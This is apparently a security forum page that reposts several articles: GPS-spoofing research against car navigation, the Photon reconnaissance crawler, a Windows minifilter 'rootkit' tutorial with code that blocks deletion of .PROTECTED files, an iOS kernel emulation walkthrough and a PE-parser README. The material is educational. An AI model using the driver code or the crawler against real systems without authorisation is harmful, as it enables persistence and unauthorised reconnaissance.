Leaderboard

July 19, 2018 Using a HackRF to Spoof GPS Navigation in Cars and Divert Drivers Researchers at Virginia Tech, the University of Electronic Science and Technology of China and Microsoft recently released a paper discussing how they were able to perform a GPS spoofing attack that was able to divert drivers to a wrong destination (pdf) without being noticed. The hardware they used to perform the attack was low cost and made from off the shelf hardware. It consisted of a Raspberry Pi 3, HackRF SDR, small whip antenna and a mobile battery pack, together forming a total cost of only $225. The HackRF is a transmit capable SDR. The idea is to use the HackRF to create a fake GPS signal that causes Google Maps running on an Android phone to believe that it's current location is different. They use a clever algorithm that ensures that the spoofed GPS location remains consistent with the actual physical road networks, to avoid the driver noticing that anything is wrong. The attack is limited in that it relies on the driver paying attention only to the turn by turn directions, and not looking closely at the map, or having knowledge of the roads already. For example, spoofing to a nearby location on another road can make the GPS give the wrong 'left/right' audio direction. However, in their real world tests they were able to show that 95% of test subjects followed the spoofed navigation to an incorrect destination. In past posts we've seen the HackRF and other transmit capable SDRs used to spoof GPS in other situations too. For example some players of the once popular Pokemon Go augmented reality game were cheating by using a HackRF to spoof GPS. Others have used GPS spoofing to bypass drone no-fly restrictions, and divert a superyacht. It is also believed that the Iranian government used GPS spoofing to safely divert and capture an American stealth drone back in 2011. Other researchers are working on making GPS more robust. Aerospace Corp. are using a HackRF to try and fuse GPS together with other localization methods, such as by using localizing signals from radio towers and other satellites. [Also seen on Arstechnica] Hardware and Method used to Spoof Car GPS Navigation. Sursa: https://www.rtl-sdr.com/using-a-hackrf-to-spoof-gps-navigation-in-cars-and-divert-drivers/

Photon Photon is a lightning fast web crawler which extracts URLs, files, intel & endpoints from a target. Yep, I am using 100 threads and Photon won't complain about it because its in Ninja Mode 😎 Why Photon? Not Your Regular Crawler Crawlers are supposed to recursively extract links right? Well that's kind of boring so Photon goes beyond that. It extracts the following information: URLs (in-scope & out-of-scope) URLs with parameters (example.com/gallery.php?id=2) Intel (emails, social media accounts, amazon buckets etc.) Files (pdf, png, xml etc.) JavaScript files & Endpoints present in them The extracted information is saved in an organized manner. Intelligent Multi-Threading Here's a secret, most of the tools floating on the internet aren't properly multi-threaded even if they are supposed to. They either supply a list of items to threads which results in multiple threads accessing the same item or they simply put a thread lock and end up rendering multi-threading useless. But Photon is different or should I say "genius"? Take a look at this and decide yourself. Ninja Mode In Ninja Mode, 3 online services are used to make requests to the target on your behalf. So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost, minimizes the risk of connection reset as well as delays requests from a single client. Here's a comparison generated by Quark where the lines represent threads: Usage -u --url Specifies the URL to crawl. python photon.py -u http://example.com -l --level It specifies how much deeper should photon crawl. python photon.py -u http://example.com -l 3 Default Value: 2 -d --delay It specifies the delay between requests. python photon.py -u http://example.com -d 1 Default Value: 0 -t --threads The number of threads to use. python photon.py -u http://example.com -t 10 Default Value: 2 Note: The optimal number of threads depends on your connection speed as well as nature of the target server. If you have a decent network connection and the server doesn't have any rate limiting in place, you can use up to 100 threads. -c --cookie Cookie to send. python photon.py -u http://example.com -c "PHPSSID=821b32d21" -n --ninja Toggles Ninja Mode on/off. python photon.py -u http://example.com --ninja Default Value: False -s --seeds Lets you add custom seeds, sperated by commas. python photon -u http://example.com -s "http://example.com/portals.html,http://example.com/blog/2018" Contribution & License Apart from reporting bugs and stuff, please help me add more "APIs" to make the Ninja Mode more powerful. Photon is licensed under GPL v3.0 license. Sursa: https://github.com/s0md3v/Photon

Kernel Mode Rootkits: File Deletion Protection dtm waifu pillow collector Hey guys, back with just another casual article from me this time around since one of my projects failed miserably and I don’t really have the time for another serious one. Also I’ve getting into something new, as you may have already guessed, kernel-mode development! Yeah, pretty exciting stuff and I’m here to share a little something I’ve learned that might be interesting to you all. Brace yourselves! Disclaimer: The following article documents what I’ve learned and may or may not be completely accurate because I am very new to this. Of course I would never intentionally provide misinformation to this community, but please approach it relatively lightly. If there are any mistakes, please do not hesitate to inform me so I can fix them. I would also like to apologise for any garbage code, I can’t help it. :’) Windows Kernel Mode Drivers and I/O Request Packets So just really briefly, since this is not an article about kernel mode or drivers in general, I will describe some basic concepts that will aid in the understanding of the content I will present. The first thing is what’s called an “I/O Request Packet” (IRP for short) which represent the majority of what is delivered to the operating system and drivers. This can be things like a file request or a keyboard key press. What happens with IRPs and drivers is that the IRP is sent down a “stack” of drivers that are registered (with the I/O manager) to process them. It looks something like this: IORequestFlow.jpg579x565 48.1 KB Obtained from http://www.windowsbugcheck.com/2017/05/device-objects-and-driver-stack-part-2.html 1 The IRP falls down the stack until it reaches the device or driver that is capable of handling the specified request and then it will get sent back upwards once it is fulfilled. Note that the IRP does not necessarily have to go all the way down to the bottom to be completed. File Deletion Protection Here I will present the high-level conceptual overview on how it is possible to protect a file from being deleted. The condition which I have selected in order for this mechanism to prevent a file from deletion is that the file must have the .PROTECTED extension (case-insensitive). Previously, I have described that IRPs must be sent down the driver stack until the bottom or until it can be completed. If a special driver can be slotted into a position in the driver stack before whatever fulfills the targeted IRPs, it has the power to filter the request and interrupt or modify it if desired. This notion serves as the core to the file deletion protection mechanism. In order to detect if IRPs should be interrupted from deletion, it simply needs to extract the file extension and compare it to whatever is disallowed for deletion. If the extensions match, the driver will prevent the IRP from any further processing by completing the request and sending it back up the driver stack with an error. It may look a little something like this: ^ +------------+ | +> | Driver 1 | <+ IRP being sent down | +------------+ | the driver stack. | ... | (If file should be | +------------+ | (If the file should not protected, send it ----> +- | Our driver | <+ be protected, continue back up prematurely.) +------------+ sending it down.) ... +------------+ | Driver n | +------------+ ... +------------+ | Device | +------------+ Anti Delete So time for some juicy code to put theory to practice. The following code is example code of a “minifilter” driver which mainly handles file system requests. // The callbacks array defines what IRPs we want to process. CONST FLT_OPERATION_REGISTRATION Callbacks[] = { { IRP_MJ_CREATE, 0, PreAntiDelete, NULL }, // DELETE_ON_CLOSE creation flag. { IRP_MJ_SET_INFORMATION, 0, PreAntiDelete, NULL }, // FileInformationClass == FileDispositionInformation(Ex). { IRP_MJ_OPERATION_END } }; CONST FLT_REGISTRATION FilterRegistration = { sizeof(FLT_REGISTRATION), // Size FLT_REGISTRATION_VERSION, // Version 0, // Flags NULL, // ContextRegistration Callbacks, // OperationRegistration Unload, // FilterUnloadCallback NULL, // InstanceSetupCallback NULL, // InstanceQueryTeardownCallback NULL, // InstanceTeardownStartCallback NULL, // InstanceTeardownCompleteCallback NULL, // GenerateFileNameCallback NULL, // NormalizeNameComponentCallback NULL // NormalizeContextCleanupCallback }; PFLT_FILTER Filter; static UNICODE_STRING ProtectedExtention = RTL_CONSTANT_STRING(L"PROTECTED"); NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { // We can use this to load some configuration settings. UNREFERENCED_PARAMETER(RegistryPath); DBG_PRINT("DriverEntry called.\n"); // Register the minifilter with the filter manager. NTSTATUS status = FltRegisterFilter(DriverObject, &FilterRegistration, &Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to register filter: <0x%08x>.\n", status); return status; } // Start filtering I/O. status = FltStartFiltering(Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to start filter: <0x%08x>.\n", status); // If we fail, we need to unregister the minifilter. FltUnregisterFilter(Filter); } return status; } First of all, the IRPs that should be processed by the driver are IRP_MJ_CREATE 1 and IRP_MJ_SET_INFORMATION 1 which are requests made when a file (or directory) is created and when metadata is being set, respectively. Both of these IRPs have the ability to delete a file which will be detailed later. The Callbacks array is defined with the respective IRP to be processed and the pre-operation and post-operation callback functions. The pre-operation defines the function that is called when the IRP goes down the stack while the post-operation is the function that is called when the IRP goes back up after it has been completed. Note that the post-operation is NULL as this scenario does not require one; the interception of file deletion is only handled in the pre-operation. DriverEntry is the driver’s main function where the registration with the filter manager is performed using FltRegisterFilter. Once that is successful, to start filtering IRPs, it must call the FltStartFiltering function with the filter handle. Also note that we have defined the extension to protect as .PROTECTED as aforementioned. It is also good practice to define an unload function so that if the driver has been requested to stop, it can perform an necessary cleanups. Its reference in this article is purely for completeness and does not serve any purpose for the main content. /* * This is the driver unload routine used by the filter manager. * When the driver is requested to unload, it will call this function * and perform the necessary cleanups. */ NTSTATUS Unload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) { UNREFERENCED_PARAMETER(Flags); DBG_PRINT("Unload called.\n"); // Unregister the minifilter. FltUnregisterFilter(Filter); return STATUS_SUCCESS; } The final function in this code is the PreAntiDelete pre-operation callback which handles the IRP_MJ_CREATE and IRP_MJ_SET_INFORMATION IRPs. IRP_MJ_CREATE includes functions that request a “file handle or file object or device object”[1] to be opened such as ZwCreateFile. IRP_MJ_SET_INFORMATION includes functions that request to set “metadata about a file or a file handle”[2] such as ZwSetInformationFile. /* * This routine is called every time I/O is requested for: * - file creates (IRP_MJ_CREATE) such as ZwCreateFile and * - file metadata sets on files or file handles * (IRP_MJ_SET_INFORMATION) such as ZwSetInformation. * * This is a pre-operation callback routine which means that the * IRP passes through this function on the way down the driver stack * to the respective device or driver to be handled. */ FLT_PREOP_CALLBACK_STATUS PreAntiDelete(_Inout_ PFLT_CALLBACK_DATA Data, _In_ PCFLT_RELATED_OBJECTS FltObjects, _Flt_CompletionContext_Outptr_ PVOID *CompletionContext) { UNREFERENCED_PARAMETER(CompletionContext); /* * This pre-operation callback code should be running at * IRQL <= APC_LEVEL as stated in the docs: * https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/writing-preoperation-callback-routines * and both ZwCreateFile and ZwSetInformaitonFile are also run at * IRQL == PASSIVE_LEVEL: * - ZwCreateFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntcreatefile#requirements * - ZwSetInformationFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntsetinformationfile#requirements */ PAGED_CODE(); /* * By default, we don't want to call the post-operation routine * because there's no need to further process it and also * because there is none. */ FLT_PREOP_CALLBACK_STATUS ret = FLT_PREOP_SUCCESS_NO_CALLBACK; // We don't care about directories. BOOLEAN IsDirectory; NTSTATUS status = FltIsDirectory(FltObjects->FileObject, FltObjects->Instance, &IsDirectory); if (NT_SUCCESS(status)) { if (IsDirectory == TRUE) { return ret; } } /* * We don't want anything that doesn't have the DELETE_ON_CLOSE * flag. */ if (Data->Iopb->MajorFunction == IRP_MJ_CREATE) { if (!FlagOn(Data->Iopb->Parameters.Create.Options, FILE_DELETE_ON_CLOSE)) { return ret; } } /* * We don't want anything that doesn't have either * FileDispositionInformation or FileDispositionInformationEx or * file renames (which can just simply rename the extension). */ if (Data->Iopb->MajorFunction == IRP_MJ_SET_INFORMATION) { switch (Data->Iopb->Parameters.SetFileInformation.FileInformationClass) { case FileRenameInformation: case FileRenameInformationEx: case FileDispositionInformation: case FileDispositionInformationEx: case FileRenameInformationBypassAccessCheck: case FileRenameInformationExBypassAccessCheck: case FileShortNameInformation: break; default: return ret; } } /* * Here we can check if we want to allow a specific process to fall * through the checks, e.g. our own application. * Since this is a PASSIVE_LEVEL operation, we can assume(?) that * the thread context is the thread that requested the I/O. We can * check the current thread and compare the EPROCESS of the * authenticated application like so: * * if (IoThreadToProcess(Data->Thread) == UserProcess) { * return FLT_PREOP_SUCCESS_NO_CALLBACK; * } * * Of course, we would need to find and save the EPROCESS of the * application somewhere first. Something like a communication port * could work. */ PFLT_FILE_NAME_INFORMATION FileNameInfo = NULL; // Make sure the file object exists. if (FltObjects->FileObject != NULL) { // Get the file name information with the normalized name. status = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &FileNameInfo); if (NT_SUCCESS(status)) { // Now we want to parse the file name information to get the extension. FltParseFileNameInformation(FileNameInfo); // Compare the file extension (case-insensitive) and check if it is protected. if (RtlCompareUnicodeString(&FileNameInfo->Extension, &ProtectedExtention, TRUE) == 0) { DBG_PRINT("Protecting file deletion/rename!"); // Strings match, deny access! Data->IoStatus.Status = STATUS_ACCESS_DENIED; Data->IoStatus.Information = 0; // Complete the I/O request and send it back up. ret = FLT_PREOP_COMPLETE; } // Clean up file name information. FltReleaseFileNameInformation(FileNameInfo); } } return ret; } For IRP_MJ_CREATE, we want to check for the FILE_DELETE_ON_CLOSE create option which is described as "Delete the file when the last handle to it is passed to NtClose. If this flag is set, the DELETE flag must be set in the DesiredAccess parameter."[3] If this flag is not present, we do not care about it so it is passed down the stack for further processing as represented by the FLT_PREOP_SUCCESS_NO_CALLBACK return value. Note that the NO_CALLBACK means that the post-operation routine should not be called when the IRP is completed and passed back up the stack which is what should always be returned by this function as there is no post-operation. For IRP_MJ_SET_INFORMATION, the FileInformationClass parameter should be checked. The FileDispositionInformation value is described as "Usually, sets the DeleteFile member of a FILE_DISPOSITION_INFORMATION to TRUE, so the file can be deleted when NtClose is called to release the last open handle to the file object. The caller must have opened the file with the DELETE flag set in the DesiredAccess parameter."[4]. To prevent the file from simply being renamed such that the protected extension no longer exists, the FileRenameInformation and FileShortNameInformation values must also be checked. If the driver receives an IRP request that is selected for file deletion, it must parse the file name information to extract the extension by using the FltGetFileNameInformation and FltParseFileNameInformation functions. Then it is a simple string comparison between the requested file for deletion’s extension and the protected extension to determine whether the delete operation should be allowed or disallowed. In the case of an unauthorised file deletion, the status of the operation is set to STATUS_ACCESS_DENIED and the pre-operation function completes the IRP. Demonstration Attempt to delete the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_09.png1366x768 82.8 KB Attempt to rename the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_24.png1366x768 84.7 KB FIN Hope that was educational and somewhat interesting or motivational. As usual, you can find the code on my GitHub 15. Thanks for reading! Sursa: https://0x00sec.org/t/kernel-mode-rootkits-file-deletion-protection/7616

Cred ca baza e: https://docs.microsoft.com/en-us/windows/desktop/apiindex/windows-api-list Si https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk Ca prin drivere esti in kernel mode pe windows. Bafta!

Tutorial - emulate an iOS kernel in QEMU up to launchd and userspace Jul 21, 2018 I got launchd and recoveryd to start on an emulated iPhone running iOS 12 beta 4’s kernel using a modified QEMU. Here’s what I learned, and how you can try this yourself. Introduction This is Part 2 of a series on the iOS boot process. Part 1 is here. Sign up with your email to be the first to read new posts. skip to: tutorial, writeup First, let me repeat: this is completely useless unless you’re really interested in iOS internals. If you want to run iOS, you should ask @CorelliumHQ instead, or just buy an iPhone. I’ve been interested in how iOS starts, so I’ve been trying to boot the iOS kernel in QEMU. I was inspired by @cmwdotme’s Corellium, a service which can boot any iOS in a virtual machine. Since I don’t have 9 years to build a perfect simulation of an iPhone, I decided to go for a less lofty goal: getting enough of iOS emulated until launchd, the first program to run when iOS boots, is able to start. Since last week’s post, I got the iOS 12 beta 4 kernel to fully boot in QEMU, and even got it to run launchd and start recoveryd from the restore ramdisk. Here’s the output from the virtual serial port: iBoot version: corecrypto_kext_start called FIPSPOST_KEXT [64144875] fipspost_post:156: PASSED: (4 ms) - fipspost_post_integrity FIPSPOST_KEXT [64366750] fipspost_post:162: PASSED: (1 ms) - fipspost_post_hmac FIPSPOST_KEXT [64504187] fipspost_post:163: PASSED: (0 ms) - fipspost_post_aes_ecb FIPSPOST_KEXT [64659750] fipspost_post:164: PASSED: (0 ms) - fipspost_post_aes_cbc FIPSPOST_KEXT [72129500] fipspost_post:165: PASSED: (117 ms) - fipspost_post_rsa_sig FIPSPOST_KEXT [76481625] fipspost_post:166: PASSED: (67 ms) - fipspost_post_ecdsa FIPSPOST_KEXT [77264187] fipspost_post:167: PASSED: (11 ms) - fipspost_post_ecdh FIPSPOST_KEXT [77397875] fipspost_post:168: PASSED: (0 ms) - fipspost_post_drbg_ctr FIPSPOST_KEXT [77595812] fipspost_post:169: PASSED: (1 ms) - fipspost_post_aes_ccm FIPSPOST_KEXT [77765500] fipspost_post:171: PASSED: (1 ms) - fipspost_post_aes_gcm FIPSPOST_KEXT [77941875] fipspost_post:172: PASSED: (1 ms) - fipspost_post_aes_xts FIPSPOST_KEXT [78176875] fipspost_post:173: PASSED: (1 ms) - fipspost_post_tdes_cbc FIPSPOST_KEXT [78338625] fipspost_post:174: PASSED: (1 ms) - fipspost_post_drbg_hmac FIPSPOST_KEXT [78460125] fipspost_post:197: all tests PASSED (233 ms) AUC[<ptr>]::init(<ptr>) AUC[<ptr>]::probe(<ptr>, <ptr>) Darwin Image4 Validation Extension Version 1.0.0: Mon Jul 9 21:36:59 PDT 2018; root:AppleImage4-1.200.16~357/AppleImage4/RELEASE_ARM64 AppleCredentialManager: init: called, instance = <ptr>. ACMRM: init: called, ACMDRM_ENABLED=YES, ACMDRM_STATE_PUBLISHING_ENABLED=YES, ACMDRM_KEYBAG_OBSERVING_ENABLED=YES. ACMRM: _loadRestrictedModeForceEnable: restricted mode force-enabled = 0 . ACMRM-A: init: called, . ACMRM-A: _loadAnalyticsCollectionPeriod: analytics collection period = 86400 . ACMRM: _getDefaultStandardModeTimeout: default standard mode timeout = 604800 . ACMRM: _loadStandardModeTimeout: standard mode timeout = 604800 . ACMRM-A: notifyStandardModeTimeoutChanged: called, value = 604800 (modified = YES). ACMRM: _loadGracePeriodTimeout: device lock timeout = 3600 . ACMRM-A: notifyGracePeriodTimeoutChanged: called, value = 3600 (modified = YES). AppleCredentialManager: init: returning, result = true, instance = <ptr>. AUC[<ptr>]::start(<ptr>) AppleKeyStore starting (BUILT: Jul 9 2018 21:51:06) AppleSEPKeyStore::start: _sep_enabled = 1 AppleCredentialManager: start: called, instance = <ptr>. AppleCredentialManager: start: initializing power management, instance = <ptr>. AppleCredentialManager: start: started, instance = <ptr>. AppleCredentialManager: start: returning, result = true, instance = <ptr>. AppleARMPE::getGMTTimeOfDay can not provide time of day: RTC did not show up : apfs_module_start:1277: load: com.apple.filesystems.apfs, v748.200.53, 748.200.53.0.1, 2018/07/09 com.apple.AppleFSCompressionTypeZlib kmod start IOSurfaceRoot::installMemoryRegions() IOSurface disallowing global lookups apfs_sysctl_register:818: done registering sysctls. com.apple.AppleFSCompressionTypeZlib load succeeded L2TP domain init L2TP domain init complete PPTP domain init BSD root: md0, major 2, minor 0 apfs_vfsop_mountroot:1468: apfs: mountroot called! apfs_vfsop_mount:1231: unable to root from devvp <ptr> (root_device): 2 apfs_vfsop_mountroot:1472: apfs: mountroot failed, error: 2 hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 boot-args = debug=0x8 kextlog=0xfff cpus=1 rd=md0 Thu Jan 1 00:00:05 1970 localhost com.apple.xpc.launchd[1] <Notice>: Restore environment starting. If you would like to examine iOS’s boot process yourself, here’s how you can try it out. Building QEMU The emulation uses a patched copy of QEMU, which must be compiled from source. Install dependencies To compile QEMU, you first need to install some libraries. macOS: According to the QEMU wiki and the Homebrew recipe, you need to install Xcode and Homebrew, then run brew install pkg-config libtool jpeg glib pixman to install the required libraries to compile QEMU. Ubuntu 18.04: According to the QEMU wiki, run sudo apt install libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libsdl1.2-dev to install the required libraries to compile QEMU. Windows: QEMU can be built on Windows, but their instructions doesn’t seem to work for this modified QEMU. Please build on macOS or Linux instead. You can set up a virtual machine running Ubuntu 18.04 with Virtualbox or VMWare Player. Download and build source Open a terminal, and run git clone https://github.com/zhuowei/qemu.git cd qemu git submodule init git submodule update mkdir build-aarch64 cd build-aarch64 ../configure --target-list=aarch64-softmmu make -j4 Preparing iOS files for QEMU Once QEMU is compiled, you need to obtain the required iOS kernelcache, device tree, and ramdisk. If you don’t want to extract these files yourself, I packaged all the files you need from iOS 12 beta 4. You can download this archive if you sign up for my mailing list. If you want to extract your own files directly from an iOS update, here’s how: 1. Download the required files: Download my XNUQEMUScripts repository: git clone https://github.com/zhuowei/XNUQEMUScripts.git cd XNUQEMUScripts Download the iOS 12 beta 4 for iPhone X. To decompress the kernel, download newosxbook’s Joker tool. 2. Extract the kernel using Joker: ./joker.universal -dec ~/path/to/iphonex12b4/kernelcache.release.iphone10b mv /tmp/kernel kcache_out.bin replace joker.universal with joker.ELF64 if you are using Linux. 3. extract the ramdisk: dd if=~/path/to/iphonex12b4/048-22007-059.dmg bs=27 skip=1 of=ramdisk.dmg 4. Modify the devicetree.dtb file: python3 modifydevicetree.py ~/Path/To/iphonex12b4/Firmware/all_flash/DeviceTree.d22ap.im4p devicetree.dtb Installing a debugger You will also need lldb or gdb for arm64 installed. macOS The version of lldb included in Xcode 9.3 should work. (Later versions should also work.) You don’t need to install anything in this step. Ubuntu 18.04 I can’t find an LLDB compatible with ARM64: neither the LLDB from the Ubuntu repository nor the version from LLVM’s own repos support ARM64. (Someone please build one!) Instead, you can use GDB on Linux. Two versions of GDB can be used: the version from devkitA64, or the Linaro GDB (recommended). Enter your xnuqemu directory (from the downloaded package or from the clone of the XNUQEMUScripts repo) Run ./linux_installgdb.sh to download the Linaro GDB. Running QEMU Place your qemu directory into the same directory as the scripts, kernel, devicetree, and ramdisk. You should have these files: ~/xnuqemu_dist$ ls README.md lldbit.sh devicetree.dtb lldbscript.lldb devicetreefromim4p.py modifydevicetree.py fixbootdelay_lldbscript_doc.txt qemu gdbit.sh ramdisk.dmg gdbscript.gdb readdevicetree.py kcache_out.bin runqemu.sh linux_installgdb.sh windows_installgdb.sh ./runqemu.sh to start QEMU. $ ./runqemu.sh QEMU 2.12.90 monitor - type 'help' for more information (qemu) xnu in a different terminal, ./lldbit.sh to start lldb, or if you’re using Linux, ./gdbit.sh to start gdb. $ ./lldbit.sh (lldb) target create "kcache_out.bin" Current executable set to 'kcache_out.bin' (arm64). (lldb) process connect --plugin gdb-remote connect://127.0.0.1:1234 (lldb) command source -s 0 'lldbscript.lldb' Executing commands in 'lldbscript.lldb'. (lldb) b *0xFFFFFFF007433BE8 Breakpoint 1: address = 0xfffffff007433be8 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xFFFFFFF005FA5D84 Breakpoint 2: address = 0xfffffff005fa5d84 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e434 Breakpoint 3: address = 0xfffffff00743e434 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e834 Breakpoint 4: address = 0xfffffff00743e834 (lldb) Type c into lldb or gdb to start execution. In the terminal running QEMU, you should see boot messages. Congratulations, you’ve just ran a tiny bit of iOS with a virtual iPhone! Or as UnthreadedJB would say, “#we r of #fakr!” What works Booting XNU all the way to running userspace programs Console output from virtual serial port What doesn’t work Wi-Fi Bluetooth USB Screen Internal storage Everything except the serial port You tell me Seriously, though, this only runs a tiny bit of iOS, and is nowhere close to iOS emulation. To borrow a simile from the creator of Corellium, if Corellium is a DeLorean time machine, then this is half a wheel at most. This experiment only finished the easy part of booting iOS, as it doesn’t emulate an iPhone at all, relying on only the parts common to all ARM devices. No drivers are loaded whatsoever, so there’s no emulation of the screen, the USB, the internal storage… You name it: it doesn’t work. For full iOS emulation, the next step would be reverse engineering the iPhone’s SoC to find out how its peripherals work. Unfortunately, that’s a 9-year project, as shown by the development history of Corellium. I can’t do that on my own - that’s why I wrote this tutorial! It’s my hope that this work inspires others to look into proper iOS emulation - from what I’ve seen, it’ll be a great learning experience. How I did this Last week, I started modifying QEMU to load an iOS kernel and device tree: the previous writeup is here. Here’s how I got from crashing when loading kernel modules to fully booting the kernel. Tweaking CPU emulation, part 3: Interrupting cow When we left off, the kernel crashed with a data abort when it tries to bzero a write only region of memory. Why? To confirm that it’s indeed writing to read-only memory, I implemented a command to dump out the kernel memory mappings, and enabled QEMU’s verbose MMU logging to detect changes to the memory map. I tracked down the crashing code to OSKext::updateLoadedKextSummaries. After every kext load, this code resets the kext summaries region to writable with vm_map_protect, writes information for the new kext, then sets the region back to read-only. The logs show that the call to protect the region modifies the memory mappings, but the call to reset it to read-write doesn’t do anything. Why isn’t it setting the page to writable? According to comments in vm_map_protect, it turns out that readonly->readwrite calls actually don’t change the protection immediately, but only sets it on-demand when a program tries - and fails - to write to the page. This is to implement copy on write. So, it seems the data abort exception is supposed to happen, but the panic is not. In the data abort exception, the page should be set to writable in arm_fast_fault. The code in open-source XNU can only return KERN_FAILURE or KERN_SUCCESS, but with a breakpoint, I saw it was returning KERN_PROTECTION_FAILURE. I checked the disassembly: yes, there’s extra code (0xFFFFFFF0071F953C in iOS 12 beta 4) returning KERN_PROTECTION_FAILURE if the page address doesn’t match one of the new KTRR registers added on the A11 processor . I had been ignoring all writes to KTRR registers, so this code can’t read the value from the register (which the kernel stored at startup), and believes that all addresses are invalid. Thus, instead of setting the page to writable, the kernel panics instead. I fixed this by adding these registers to QEMU’s virtual CPU, allowing the kernel to read and write them. After this change, a few more kexts started up, but the kernel then hangs… like it’s waiting for something. Connecting the timer interrupt My hunch for why the kernel hangs: one of the kexts tries to sleep for some time during initialization, but never wakes up because there are no timer interrupts, as shown by QEMU not logging any exceptions when it hangs. On ARM, there are two ways for hardware to signal the CPU: IRQ, shared by many devices, or FIQ, dedicated to just one device. QEMU’s virt machine hooks up the processor’s timer to IRQ, like most real ARM platforms. FIQ is usually reserved for debuggers. Apple, however, hooks up the timer directly to the FIQ. With virt’s timer hooked up to the wrong signal, the kernel would wait forever for an interrupt that would never come. All I had to do to get the timer working was to hook it up to FIQ. This gets me… a nice panic in the Image4 parser. Getting the Image4 parser module working panic(cpu 0 caller 0xfffffff006c1edb8): "could not instantiate ppl environment: 0x60"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleImage4/AppleImage4-1.200.12/include/abort.h:24 What does this mean? What’s error 0x60? I found the panic string, and looked for where the error message is generated. It turns out that the Image4 parser queries the device tree for various nodes in “/chosen” or “/default”; if the value doesn’t exist, it returns error 0x60. If the value is the wrong size, it returns 0x54. iOS’s device tree is missing two properties: chip-epoch and security-domain, which causes the module to panic with the 0x60 error. Oddly, the device tree doesn’t reserve extra space for these properties. I had to delete two existing properties to make space for them. With the modified device tree, the Image4 module initializes, but now I have a panic from a data abort in rorgn_lockdown. Failed attempt to get device drivers to not crash Of course the KTRR driver crashes when it tries to access the memory controller: there isn’t one! QEMU’s virt machine doesn’t have anything mapped at that address. Since I don’t have an emulation of the memory controller, I just added a block of empty memory to avoid the crash. This strategy didn’t work for the next crash, though, from the AppleInterruptController driver. That driver reads and validates values from the device, so just placing a blank block of memory causes the driver to panic. Something more drastic is needed if I don’t want to spend 9 years reverse engineering each driver. Driverless like we’re Waymo To boot XNU, I don’t really need all those drivers, do I? Who needs interrupts or the screen or power management or storage, anyways? All XNU needs to boot into userspace is a serial port and a timer. I disabled every other driver in the kernel. Drivers are loaded if their IONameMatch property corresponds to a device’s “compatible”, “name”, or “device_type” fields. To disable all the drivers, I erased every “compatible” property in the device tree, along with a few “name” and “device_type” properties. Now, with no drivers, XNU seems to hang, but after I patiently waited for a minute… Waiting on <dict ID="0"><key>IOProviderClass</key><string ID="1">IOMedia</string><key>Content</key><string ID="2">Apple_HFS</string></dict> Still waiting for root device It’s trying to mount the root filesystem! Loading a RAMDisk If it’s looking for a root filesystm, let’s give it one. I don’t have any drivers for storage, but I can mount an iOS Recovery RAMDisk, which requires no drivers. All I had to do was: Load the ramdisk at the end of the kernel, just before the device tree blob put its address and size in the device tree so XNU can find it set boot argument to rd=md0 to boot from ramdisk hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) The kernel mounts the root filesystem! … but then hangs again. Using LLDB to patch out hanging functions By putting breakpoints all over bsd_init, I found that the kernel was hanging in IOBSDSecureRoot, when it tries to call the platform function. The platform function looks for a device, but since I removed all the device drivers, it waits forever, in vain. To fix this, I just skipped the problematic call. I used an LLDB breakpoint to jump over the call and simulate a true return instead. And, after three weeks, the virtual serial port finally printed out: : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 “Houston, the kernel has booted.” What I learned quirks of iOS memory management how iOS handles timer interrupts how iOS loads ramdisks building QEMU on different platforms modifying QEMU to add new CPU configuration registers differences between GDB and LLDB’s command syntax how to get people to subscribe to my mailing list. (muhahaha, one last signup link.) Thanks Thanks to everyone who shared or commented on my last article. To those who tried building and running it - sorry about taking so long to write up instructions! Thanks to @matteyeux, @h3adsh0tzz, @_th0ex, and @enzolovesbacon for testing the build instructions. Thanks to @winocm, whose darwin-on-arm project originally inspired me to learn about the XNU kernel. Sursa: https://worthdoingbadly.com/xnuqemu2/

PeNet PeNet is a parser for Windows Portable Executable headers. It completely written in C# and does not rely on any native Windows APIs. Furthermore it supports the creation of Import Hashes (ImpHash), which is a feature often used in malware analysis. You can extract Certificate Revocation List, compute different hash sums and other useful stuff for working with PE files. For help see the Wiki. The API reference can be found hrere: http://secana.github.io/PeNet License Apache 2 Copyright 2016 Stefan Hausotte Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Sursa: https://github.com/secana/PeNet

